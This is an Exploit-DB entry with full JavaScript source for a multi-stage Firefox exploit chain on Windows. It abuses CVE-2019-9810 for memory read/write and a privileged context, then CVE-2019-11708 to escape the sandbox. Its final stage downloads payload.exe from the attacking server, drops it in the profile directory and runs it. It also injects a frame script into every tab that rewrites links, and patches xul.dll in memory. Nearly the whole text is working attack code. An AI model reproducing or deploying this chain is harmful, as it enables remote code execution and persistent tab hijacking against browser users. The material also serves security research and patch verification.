Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack

EDB-ID:

47752




Date:

2019-12-07


// Axel '0vercl0k' Souchet - November 19 2019

// EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47752.zip

// 0:000> ? xul!sAutomationPrefIsSet - xul
// Evaluate expression: 85724947 = 00000000`051c0f13
const XulsAutomationPrefIsSet = 0x051c0f13n;
// 0:000> ? xul!disabledForTest - xul
// Evaluate expression: 85400792 = 00000000`05171cd8
const XuldisabledForTest = 0x05171cd8n;

const Debug = false;
const dbg = p => {
    if(Debug == false) {
        return;
    }

    print(`Debug: ${p}`);
};

const ArraySize = 0x5;
const WantedArraySize = 0x42424242;

let arr = null;
let Trigger = false;
const Spray = [];

function f(Special, Idx, Value) {
    arr[Idx] = 0x41414141;
    Special.slice();
    arr[Idx] = Value;
}

class SoSpecial extends Array {
    static get [Symbol.species]() {
        return function() {
            if(!Trigger) {
                return;
            }

            arr.length = 0;
            for(let i = 0; i < 0x40000; i++) {
                Spray.push(new Uint32Array(ArraySize));
            }
        };
    }
};

function GetMeBiggie() {
    for(let Idx = 0; Idx < 0x100000; Idx++) {
        Spray.push(new Uint32Array(ArraySize));
    }

    const SpecialSnowFlake = new SoSpecial();
    for(let Idx = 0; Idx < 10; Idx++) {
        arr = new Array(0x7e);
        Trigger = false;
        for(let Idx = 0; Idx < 0x400; Idx++) {
            f(SpecialSnowFlake, 0x70, Idx);
        }

        Trigger = true;
        f(SpecialSnowFlake, 47, WantedArraySize);
        if(arr.length != 0) {
            continue;
        }

        const Biggie = Spray.find(e => e.length != ArraySize);
        if(Biggie != null) {
            return Biggie;
        }
    }

    return null;
}

function ExploitCVE_2019_9810() {
    print = console.log;

    const Biggie = GetMeBiggie();
    if(Biggie == null || Biggie.length != WantedArraySize) {
        dbg('Failed to set things up :(.');
        return false;
    }

    //
    // Scan for one of the Uint32Array we sprayed earlier.
    //

    let Biggie2AdjacentSize = null;
    const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize);
    for(let Idx = 0; Idx < 0x100; Idx++) {
        const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]);
        if(Qword == JSValueArraySize) {
            Biggie2AdjacentSize = Idx + 1;
            break;
        }
    }

    if(Biggie2AdjacentSize == null) {
        dbg('Failed to find an adjacent array :(.');
        return false;
    }

    //
    // Use the array length as a marker.
    //

    const AdjacentArraySize = 0xbbccdd;
    Biggie[Biggie2AdjacentSize] = AdjacentArraySize;

    //
    // Find the array now..
    //

    const AdjacentArray = Spray.find(
        e => e.length == AdjacentArraySize
    );

    if(AdjacentArray == null) {
        dbg('Failed to find the corrupted adjacent array :(.');
        return false;
    }

    const ReadPtr = Addr => {
        const SizeInDwords = 2;
        const SavedSlot = [
            Biggie[Biggie2AdjacentSize],
            Biggie[Biggie2AdjacentSize + 2 + 2],
            Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
        ];

        //
        // Corrupt the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SizeInDwords;
        Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);

        //
        // Read arbitrary location now.
        //

        const Ptr = BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]);

        //
        // Restore the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SavedSlot[0];
        Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
        return Ptr;
    };

    const WritePtr = (Addr, Value) => {
        const SizeInDwords = 2;
        const SavedSlot = [
            Biggie[Biggie2AdjacentSize],
            Biggie[Biggie2AdjacentSize + 2 + 2],
            Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
        ];

        //
        // Corrupt the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SizeInDwords;
        Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);

        //
        // Write to arbitrary location now.
        //

        AdjacentArray[0] = Number(Value & 0xffffffffn);
        AdjacentArray[1] = Number(Value >> 32n);

        //
        // Restore the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SavedSlot[0];
        Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
        return true;
    };

    const AddrOf = Obj => {
        AdjacentArray.hell_on_earth = Obj;
        // 0:000> dqs 1ae5716e76a0
        // 00001ae5`716e76a0  00001ae5`7167dfd0
        // 00001ae5`716e76a8  000010c5`8e73c6a0
        // 00001ae5`716e76b0  00000238`9334e790
        // 00001ae5`716e76b8  00007ff6`6be55010 js!emptyElementsHeader+0x10
        // 00001ae5`716e76c0  fffa0000`00000000
        // 00001ae5`716e76c8  fff88000`00bbccdd
        // 0:000> !telescope 0x00002389334e790
        // 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown)
        const SlotOffset = Biggie2AdjacentSize - (3 * 2);
        const SlotsAddress = BigInt.fromUint32s(
            Biggie.slice(SlotOffset, SlotOffset + 2)
        );

        return BigInt.fromJSValue(ReadPtr(SlotsAddress));
    };

    //
    // Let's move the battle field to the TenuredHeap
    //

    const ArrayBufferLength = 10;
    const AB1 = new ArrayBuffer(ArrayBufferLength);
    const AB2 = new ArrayBuffer(ArrayBufferLength);
    const AB1Address = AddrOf(AB1);
    const AB2Address = AddrOf(AB2);

    dbg(`AddrOf(AB1): ${AB1Address.toString(16)}`);
    dbg(`AddrOf(AB2): ${AB2Address.toString(16)}`);
    WritePtr(AB1Address + 0x28n, 0xfff8800000010000n);
    WritePtr(AB2Address + 0x28n, 0xfff8800000010000n);

    if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) {
        dbg('Corrupting the ArrayBuffers failed :(.');
        return false;
    }

    const Primitives = BuildPrimitives(AB1, AB2);
    Math.atan2(AB2);

    //
    // All right, time to clean up behind ourselves.
    // Let's fix AdjacentArray's size first (as we are using Biggie to do it).
    //

    Biggie[Biggie2AdjacentSize] = ArraySize;

    //
    // Let's fix Biggie's length as we are done with it.
    // 0:000> !smdump_jsvalue 0xfffe11e6fa2f7580
    // Detected xul.dll, using it as js module.
    // 11e6fa2f7580: js!js::TypedArrayObject:       Type: Uint32Array
    // 11e6fa2f7580: js!js::TypedArrayObject:     Length: 1337
    // 11e6fa2f7580: js!js::TypedArrayObject: ByteLength: 5348
    // 11e6fa2f7580: js!js::TypedArrayObject: ByteOffset: 0
    // 11e6fa2f7580: js!js::TypedArrayObject:    Content: Uint32Array({Length:1337, ...})
    // @$smdump_jsvalue(0xfffe11e6fa2f7580)
    //
    // 0:000> !telescope 0x11e6fa2f7580
    // 0x000011e6fa2f7580|+0x0000: 0x000006a0415c37f0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array))
    // 0x000011e6fa2f7588|+0x0008: 0x000006a041564100 (Unknown) -> 0x000006a041583cc0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array))
    // 0x000011e6fa2f7590|+0x0010: 0x0000000000000000 (Unknown)
    // 0x000011e6fa2f7598|+0x0018: 0x00007ff93e0f41d8 (xul.dll (.rdata)) -> 0xfff9800000000000 (Unknown)
    // 0x000011e6fa2f75a0|+0x0020: 0xfffe11e6fa2f70c0 (Unknown)
    // 0x000011e6fa2f75a8|+0x0028: 0xfff8800000000539 (Unknown)
    //

    const BiggieLengthAddress = Primitives.AddrOf(Biggie) + 0x28n;
    Primitives.WritePtr(BiggieLengthAddress, 0xfff8800000000000n | BigInt(ArraySize));

    //
    // From there, we're kinda done - let's get god mode and fuck off.
    //

    GodMode(AB1, AB2, Primitives, XulsAutomationPrefIsSet, XuldisabledForTest);
    return true;
}

//
// This function uses a `Sandbox` with a `System Principal` to be able to grab the
// `docShell` object off the `window` object. Once it has it, it can grab the frame
// `messageManager` that we need to trigger the sandbox escape.
//

function GetContentFrameMessageManager(Win) {
    function _GetDocShellFromWindow(Win) {
        return Win.docShell;
    }

    const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
    const Cu = Components.utils;
    const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
    const Code = _GetDocShellFromWindow.toSource();
    Cu.evalInSandbox(Code, Sbx);
    const DocShell = Sbx._GetDocShellFromWindow(Win);
    Cu.nukeSandbox(Sbx);
    return DocShell.messageManager;
}

//
// This function sends a 'Prompt:Open' message over the frame message manager IPC,
// with an URI.
//

function PromptOpen(Uri) {
    const FrameMM = GetContentFrameMessageManager(window);
    const Result = FrameMM.sendSyncMessage('Prompt:Open', { uri: Uri });
    return Result;
}

//
// This is the function that abuses the `Prompt:Open` message to re-exploit the parent
// process and escape the sandbox.
//

function TriggerCVE_2019_11708() {
    PromptOpen(`${location.origin}?stage3`);
}

//
// This is the function that gets written into the frame script the exploit drops
// on disk. A trick to debug this code is to pop-up a `Browser Toolbox` as well as a
// `Browser Content toolbox` and execute the following in the `Browser Toolbox`:
//   Services.mm.loadFrameScript('file://frame-script.js', true)
// This should break in the `Browser Content Toolbox` debugger window.
//

function FrameScriptPayload() {
    function PimpMyDocument() {

        //
        // Don't infect doar-e and leave Cthulhu alone...
        //

        if(content.document.location.origin == 'https://doar-e.github.io' ||
           content.document.location.origin == 'http://localhost:8000') {
            return;
        }

        //
        // .. as well as don't play with non http origins (I've seen empty/null origins).
        //

        if(!content.document.location.origin.startsWith('http')) {
            return;
        }

        //
        // Time to party! Let's find every `A` tag and make them point to doar-e.
        // We also use this opportunity to make every `backgroundImage` / `backgroundColor`
        // style attributes to `none` / `transparent` to not hide the doar-e background.
        //

        for(const Node of content.document.getElementsByTagName('*')) {
            if(Node.tagName == 'A') {
                Node.href = 'https://doar-e.github.io/';
                continue;
            }

            Node.style.backgroundImage = 'none';
            Node.style.backgroundColor = 'transparent';
        }

        //
        // Change the background.
        //

        content.document.body.style.backgroundImage = 'url(https://doar-e.github.io/images/themes03_light.gif)';
    }

    //
    // First we set an event handler to make sure to be invoked when a new `content`
    // is created. Keep in mind that we basically have ~three cases to handle:
    //  1/ We are getting injected in an already existing tab,
    //  2/ We are getting injected in a new tab,
    //  3/ A user clicks on a link and a new `content` gets created.
    // We basically want to have control over those three events. The below ensures
    // we get a chance to execute code for 2/.
    //

    addEventListener('DOMWindowCreated', FrameScriptPayload);
    dump(`Hello from: ${content.location.origin}\n`);

    if(content.document != null && content.document.body != null) {

        //
        // Either the tab already existed in which case we already have a document which we
        // can play with...
        //

        PimpMyDocument();
        return;
    }

    //
    // ..Or it doesn't exist quite yet and we want to get a callback when it does.
    //

    content.addEventListener('load', PimpMyDocument);
}

//
// This function drops a file (open + write + close) using the OSFile JS module.
//

function DropFile(Path, Content) {

    //
    // We expect either a string or a TypedArray.
    //

    const Encoder = new TextEncoder();
    const ContentBuffer = (typeof Content == 'string') ? Encoder.encode(Content) : Content;
    return OS.File.open(Path, {write: true, truncate: true})
    .then(File => {
        return Promise.all([
            // We return the File object in order to be able to use it in the
            // next `.then`. This allows us to chain the `write` and the `close`
            // without another level of deepness.
            File,
            File.write(ContentBuffer),
        ]);
    })
    .then((Results) => {
        const [File, _WrittenBytes] = Results;
        return File.close();
    });
}

//
// This function drops / executes a payload binary, as well as inject a frame script
// into every tabs.
//

function Payload() {

    //
    // Import a bunch of JS modules we will be using later.
    //

    const { OS } = Components.utils.import('resource://gre/modules/osfile.jsm');
    const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');

    //
    // First order of business, we create a first promise that downloads the payload
    // (aka Slime Shady), drops it in the profile directory and finally executes it.
    //

    const Dir = OS.Constants.Path.localProfileDir;
    const PayloadPath = OS.Path.join(Dir, 'slimeshady.exe');
    const PayloadPromise = fetch(`${location.origin}/payload/bin/payload.exe`)
    .then((Response) => {

        //
        // We return the result as a TypedArray as this is what `DropFile`
        // expects for binary content.
        //

        return Response.arrayBuffer();
    })
    .then((Content) => {

        //
        // Time to drop the file now. Note that we return the promise so
        // the next `then` executes when the file has been successfully dropped.
        //

        dbg(`Payload downloaded.`);
        return DropFile(PayloadPath, new Uint8Array(Content));
    })
    .then(() => {

        //
        // At this point, we are ready to spawn the payload, let's do it!
        //

        dbg(`Creating the process.. ${PayloadPath}`);
        CreateProcessA(PayloadPath);
    })
    .catch(Ex => {
        console.log(`Exception in payload promise: ${Ex}`);
    });

    //
    // Second order of business is to backdoor the tabs. To do so, we drop a frame
    // script that we inject into every tabs.
    //

    const FramePayloadContent = `${FrameScriptPayload.toSource()}

FrameScriptPayload();`;
    const ScriptPath = OS.Path.join(Dir, 'frame-script.js');
    const FramePayloadPromise = DropFile(ScriptPath, FramePayloadContent)
    .then(() => {

        //
        // At this time we are ready to inject the frame script into the tabs.
        // Note that we need to drop the file locally / use the file:// scheme
        // so that the tabs accept to interpret the file (unfortunately,
        // remote ones are ignored).
        //

        dbg(`About to loadFrameScript: ${ScriptPath}`);
        Services.mm.loadFrameScript(`file://${ScriptPath}`, true);
    })
    .catch(Ex => {
        console.log(`Exception in frame payload promise: ${Ex}`);
    });


    //
    // Last but not least, we set up code to execute on completion of both the above
    // promises. You have to remember that at this point the modal window is still open
    // and blocks navigation / UI interaction, so we need to close it as soon as we can
    // to be as stealth as possible.
    // Just for kicks, we spawn a calculator when we're done because why not.
    //

    Promise.all([PayloadPromise, FramePayloadPromise])
    .then(() => {

        //
        // .. just for kicks.
        //

        CreateProcessA('c:\\windows\\system32\\calc.exe');

        //
        // Phew, we made it here let's close the window :).
        //

        window.close();
    })
    .catch(Ex => {
        console.log(`Exception in clean up promise: ${Ex}`);
        window.close();
    });
}

//
// This function patches the inlined portion of xpc::AreNonLocalConnectionsDisabled()
// in xul!mozilla::net::nsSocketTransport::InitiateSocket to avoid an assert when we have
// god mode. It's far from being the cleanest way, but this is the easiest way I found.
//
//   nsresult nsSocketTransport::InitiateSocket() {
//       SOCKET_LOG(("nsSocketTransport::InitiateSocket [this=%p]\n", this));
//       nsresult rv;
//       bool isLocal;
//       IsLocal(&isLocal);
//       if (gIOService->IsNetTearingDown()) {
//         return NS_ERROR_ABORT;
//       }
//       if (gIOService->IsOffline()) {
//         if (!isLocal) return NS_ERROR_OFFLINE;
//       } else if (!isLocal) {
//         if (NS_SUCCEEDED(mCondition) && xpc::AreNonLocalConnectionsDisabled() &&
//             !(IsIPAddrAny(&mNetAddr) || IsIPAddrLocal(&mNetAddr))) {
//           nsAutoCString ipaddr;
//           RefPtr<nsNetAddr> netaddr = new nsNetAddr(&mNetAddr);
//           netaddr->GetAddress(ipaddr);
//           fprintf_stderr(
//               stderr,
//               "FATAL ERROR: Non-local network connections are disabled and a "
//               "connection "
//               "attempt to %s (%s) was made.\nYou should only access hostnames "
//               "available via the test networking proxy (if running mochitests) "
//               "or from a test-specific httpd.js server (if running xpcshell "
//               "tests). "
//               "Browser services should be disabled or redirected to a local "
//               "server.\n",
//               mHost.get(), ipaddr.get());
//           MOZ_CRASH("Attempting to connect to non-local address!");
//         }
//       }
//

function PatchInitiateSocket() {

    //
    // Let's patch xul!mozilla::net::nsSocketTransport::InitiateSocket
    // so that it doesn't assert on us because we turned on testing features.
    // This is the assert we hit without the patch:
    //
    //   FATAL ERROR: Non-local network connections are disabled and a connection attempt to google.com (172.217.14.206) was made.
    //   You should only access hostnames available via the test networking proxy
    //   (if running mochitests) or from a test-specific httpd.js server (if running
    //   xpcshell tests). Browser services should be disabled or redirected to a local
    //   server.
    //   (4014.82c): Break instruction exception - code 80000003 (first chance)
    //   xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe92:
    //   00007ff9`69a66372 cc              int     3
    //
    // Here is the disasembly before:
    //
    //   0:062> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
    //   xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
    //   00007ff9`3f9c55c6 8b0d0cc7ff04    mov     ecx,dword ptr [xul!disabledForTest (00007ff9`449c1cd8)]
    //   00007ff9`3f9c55cc 83f9ff          cmp     ecx,0FFFFFFFFh
    //   00007ff9`3f9c55cf 7520            jne     xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
    //   00007ff9`3f9c55d1 488d0ddaa3df04  lea     rcx,[xul!`string' (00007ff9`447bf9b2)]
    //
    // And after:
    //
    //   0:068> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
    //   xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
    //   00007ff9`3f9c55c6 90              nop
    //   00007ff9`3f9c55c7 90              nop
    //   00007ff9`3f9c55c8 90              nop
    //   00007ff9`3f9c55c9 4831c9          xor     rcx,rcx
    //   00007ff9`3f9c55cc 83f9ff          cmp     ecx,0FFFFFFFFh
    //   00007ff9`3f9c55cf 7520            jne     xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
    //
    // 0:051> ? xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 - xul
    // Evaluate expression: 1529286 = 00000000`001755c6
    //

    const PatchOffset = 0x001755c6n;
    const XulBase = BigInt(GetModuleHandleA('xul.dll').toString());
    const PatchAddress = XulBase + PatchOffset;
    const PatchContent = [0x90, 0x90, 0x90, 0x48, 0x31, 0xc9];
    PatchCode(PatchAddress, PatchContent);
}

function Main(Route) {

    //
    // One way to tell if we were successful with our data corruption is by checking
    // if we have access to the PrivilegeManager. If we do, it means we are running
    // with a privileged context, if not we don't.
    //

    const RunningFromPrivilegedJS = window.netscape.security.PrivilegeManager != undefined;
    if(Route == '?stage1') {

        //
        // If we are asked to run stage1 with access to a privileged context, we skip
        // it and move on to stage2.
        //

        if(RunningFromPrivilegedJS) {
            return Main('?stage2');
        }

        //
        // Stage1 exploits CVE-2019-9810 and performs a data corruption attack to access
        // a privileged JS context.
        //

        if(!ExploitCVE_2019_9810()) {
            console.log('Failed :(');
            return;
        }

        //
        // Once we are done with the data corruption, we refresh the page to get access
        // to the privileged JS context. Moving on to stage2 \o/.
        //

        location.replace(`${location.origin}/?stage2`);
    }

    if(Route == '?stage2') {

        //
        // At this point we expect to have access to a privileged JS context.
        // If we don't it's probably bad news, so we'll just bail.
        //

        if(!RunningFromPrivilegedJS) {
            alert('problem');
            return;
        }

        //
        // Turn on privileges so that we can access the `Components` object.
        //

        window.netscape.security.PrivilegeManager.enablePrivilege('doar-e');


        //
        // Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
        // to avoid the Firefox being unhappy.
        //

        PatchInitiateSocket()

        //
        // Now that we have access to the privileged context, we are also able to talk
        // over the frame message manager IPC and trigger CVE-2019-11708 to escape the
        // exploit the parent process.
        //

        TriggerCVE_2019_11708();
    }

    if(Route == '?stage3') {

        //
        // We should now be running in the broker which means we can exploit CVE-2019-9810
        // to perform the same attack than in stage1 but this time in the parent process.
        //

        if(!ExploitCVE_2019_9810()) {
            console.log('Elevation failed, closing the window.');
            window.close();
        }

        //
        // If we are successful it means that by refreshing the page, we should have
        // access to the privileged JS context from the parent process.
        // This basically means full compromise and we move on to backdooring the tabs,
        // as well as dropping the payload.
        //

        location.replace(`${location.origin}/?final`);
    }

    if(Route == '?final') {

        //
        // All right, we start of by turning on privileges so that we can access `Components`
        // & cie.
        //

        window.netscape.security.PrivilegeManager.enablePrivilege('doar-e');

        //
        // Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
        // to avoid the Firefox being unhappy.
        //

        PatchInitiateSocket()

        //
        // We've worked hard to get here and it's time to drop the goodies :).
        //

        Payload();
    }
}

function Onload() {
    if(location.search != '') {
        Main(location.search);
    }
}